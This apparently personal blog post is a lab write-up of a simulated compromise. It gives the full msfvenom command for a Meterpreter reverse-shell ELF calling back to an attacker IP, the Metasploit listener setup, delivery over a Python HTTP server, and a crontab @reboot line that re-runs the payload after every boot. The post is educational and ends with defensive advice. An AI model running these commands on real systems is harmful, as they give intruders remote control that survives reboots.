Post cover image

July 30, 2026

Quick CyberSecurity Project: Malware Simulation and Persistence Lab Using Metasploit

For this project, I wanted to understand what can happen after a user unknowingly executes a malicious file.

By Najeebparkar

6 min read

For this project, I wanted to understand what can happen after a user unknowingly executes a malicious file.

Rather than only learning exploitation from the attacker's perspective, I wanted to simulate a small real-world scenario:

An attacker creates a malicious executable, delivers it to a victim machine, waits for the victim to execute it, obtains a remote shell, and then establishes persistence so that access is restored after the victim machine reboots.

Lab Architecture

The lab consisted of two virtual machines communicating over the same virtual network.

┌──────────────────────┐
│      Kali Linux      │
│      Attacker        │
│  192.168.234.129     │
└──────────┬───────────┘
           │
           │ Network
           │
┌──────────▼───────────┐
│       Ubuntu         │
│       Victim         │
│      User: najeeb    │
└──────────────────────┘

The Kali machine was used to generate and host the test payload and receive the callback.

The Ubuntu machine represented the victim.

Phase 1: Creating the Test Payload

The first step was generating a Linux executable that could establish a Meterpreter reverse connection back to my Kali machine.

None

I used msfvenom:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.234.129 LPORT=4444 -f elf -o najeebware.elf

Breaking Down the Command

msfvenom

msfvenom is a Metasploit utility used to generate payloads in different formats.

It combines payload generation and encoding functionality that was historically provided by separate Metasploit tools.

-p

The -p option specifies the payload.

I selected:

linux/x64/meterpreter/reverse_tcp

Breaking that down:

  • linux → Target operating system
  • x64 → 64-bit architecture
  • meterpreter → Metasploit's interactive payload
  • reverse_tcp → The target establishes a TCP connection back to the attacker

LHOST

LHOST=192.168.234.129

LHOST represents the attacker's listening IP address.

The generated payload is configured to connect back to this address when executed.

LPORT

LPORT=4444

This specifies the TCP port on which the attacker expects the callback.

The important thing is that the listener and payload use the same IP address and port.

-f elf

-f elf

This specifies the output format.

ELF stands for:

Executable and Linkable Format

It is a standard executable format used by Linux systems.

-o

-o najeebware.elf

This specifies the output filename.

The resulting file was:

najeebware.elf

Phase 2: Verifying the File

After generating the payload, I verified that the file existed:

None

Phase 3: Transferring the File

For this quick lab, I didn't implement a sophisticated delivery mechanism.

Instead, I used Python's built-in HTTP server to temporarily host the directory containing the executable.

None

I ran:

python3 -m http.server 8005

What Does This Command Do?

python3

Starts Python 3.

-m http.server

Tells Python to run its built-in HTTP server module.

8005

Specifies the TCP port on which the temporary web server listens.

The directory from which the command was executed became available through the HTTP server.

This provided a simple way to simulate a basic file-delivery scenario inside my lab.

Phase 4: Configuring the Metasploit Listener

Creating a reverse payload is only one side of the process.

The attacker also needs something listening for the incoming connection.

None

I opened Metasploit:

msfconsole -q

Then selected the generic handler:

use exploit/multi/handler

The multi/handler is useful because it allows Metasploit to listen for connections generated by compatible payloads.

I then configured the same payload:

set payload linux/x64/meterpreter/reverse_tcp

The listener was configured with the same values used when generating the payload:

set LHOST 192.168.234.129
set LPORT 4444

Finally:

exploit

At this point, Metasploit was waiting for an incoming connection.

None

Conceptually, the setup looked like:

Ubuntu
   │
   │ Execute payload
   ▼
Reverse TCP connection
   │
   ▼
192.168.234.129:4444
   │
   ▼
Metasploit Handler
   │
   ▼
Meterpreter Session

Phase 5: Simulating User Execution

For this quick lab, I manually executed the file on Ubuntu.

None

This simulated a simple scenario in which a user might execute a malicious file after being tricked into downloading it.

For example, this could represent a user falling for a phishing campaign, downloading an executable, and executing it without realizing what it does.

The important part of this simulation is that the attacker does not necessarily need to exploit a vulnerability in the operating system.

Instead:

Social Engineering
        ↓
Malicious File
        ↓
User Execution
        ↓
Reverse Connection
        ↓
Remote Access

This is why user awareness and endpoint security are important parts of cybersecurity.

Phase 6: Receiving the Meterpreter Session

After the file was executed on Ubuntu, the payload connected back to my Metasploit listener.

A Meterpreter session was established.

None

At this point, the attacker had interactive access to the compromised system.

Phase 7: Interacting With the Session

I interacted with the session and then entered the underlying operating-system shell using:

shell

This provided access to the Ubuntu command shell.

None

I then checked the current user:

whoami

The whoami command displays the username associated with the current shell.

These commands are useful during post-compromise enumeration because they establish what privileges and environment the attacker currently has.

Phase 8: Establishing Persistence

Obtaining access is only one part of an attack.

The next question I wanted to investigate was:

What happens if the victim restarts the computer?

Without persistence, the attacker may lose access when the machine shuts down or the process terminates.

For this lab, I experimented with Linux's cron functionality.

Cron is a job scheduling mechanism that allows commands to execute automatically according to a schedule.

Linux also supports the special:

@reboot

directive, which causes a cron job to run when the system starts.

First, i use :

crontab -e

to add a cron job.

None

I added the test executable as a boot-time cron job using:

(crontab -l 2>/dev/null; echo '@reboot /home/najeeb/Downloads/najeebware.elf') | crontab -

Breaking Down This Command

crontab -l

Lists the current user's cron jobs.

2>/dev/null

Redirects error output to /dev/null.

This prevents an error message from appearing if the user does not currently have a crontab.

echo

Outputs the new cron entry:

@reboot /home/najeeb/Downloads/najeebware.elf

@reboot

Tells cron to execute the specified command when the system boots.

|

The pipe operator sends the output of one command into another command.

crontab -

The - tells crontab to read the new crontab configuration from standard input.

So the overall logic is:

Existing crontab
      +
New @reboot entry
      ↓
Updated crontab

Phase 9: Verifying Persistence

After adding the entry, I checked the crontab:

None 
crontab -l

The entry was present:

@reboot /home/najeeb/Downloads/najeebware.elf

This confirmed that the scheduled task had been successfully registered.

Phase 10: Testing Persistence

I then shut down the Ubuntu virtual machine.

As expected, the existing Meterpreter session disappeared because the victim machine was no longer running.

None

I then started Ubuntu again.

None

During startup, the configured cron job automatically executed the ELF file.

None

The payload established a new connection back to my Metasploit listener.

As a result, I received another Meterpreter session without manually launching the executable again.

This demonstrated the concept of persistence:

Initial Compromise
       ↓
Payload Execution
       ↓
Meterpreter Access
       ↓
Persistence Mechanism
       ↓
Victim Reboots
       ↓
Payload Executes Automatically
       ↓
New Callback
       ↓
Access Restored

Why Persistence Is Dangerous

This was the most important part of the experiment for me.

Getting a shell is already serious, but persistence makes the compromise much more difficult for a victim to recover from.

If an attacker can arrange for malicious software to execute automatically after reboot, simply restarting the machine may not remove the compromise.

In a real attack, persistence mechanisms could potentially be used to:

  • Maintain unauthorized access
  • Reconnect after system reboots
  • Execute malicious programs automatically
  • Survive temporary interruptions to an attacker's connection

This is why defenders should monitor scheduled tasks, startup mechanisms, and unexpected executable files.

What I Learned

This small project helped me understand that a successful attack is not necessarily based on exploiting a complicated vulnerability.

The attack chain can be surprisingly simple:

Payload Creation
      ↓
Delivery
      ↓
User Execution
      ↓
Reverse Connection
      ↓
Remote Shell
      ↓
Persistence
      ↓
Access After Reboot

The most valuable lesson was understanding the relationship between each stage rather than simply running individual commands.

I learned how:

  • msfvenom generates a Linux payload.
  • A reverse TCP payload communicates back to an attacker-controlled listener.
  • Python's HTTP server can be used for simple file transfer in a lab.
  • Metasploit's multi/handler receives compatible payload connections.
  • Meterpreter provides an interactive post-exploitation environment.
  • Linux commands can be used to identify the compromised environment.
  • Cron can automatically execute scheduled tasks.
  • @reboot can trigger a task during system startup.
  • Persistence can allow access to return after a system reboot.